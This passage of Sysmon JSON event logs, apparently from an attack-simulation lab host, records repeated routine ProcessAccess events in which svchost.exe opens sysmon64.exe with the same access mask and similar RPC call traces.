C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1235,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1236,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1237,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1238,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1239,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1240,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1241,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.531","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1242,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.531\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 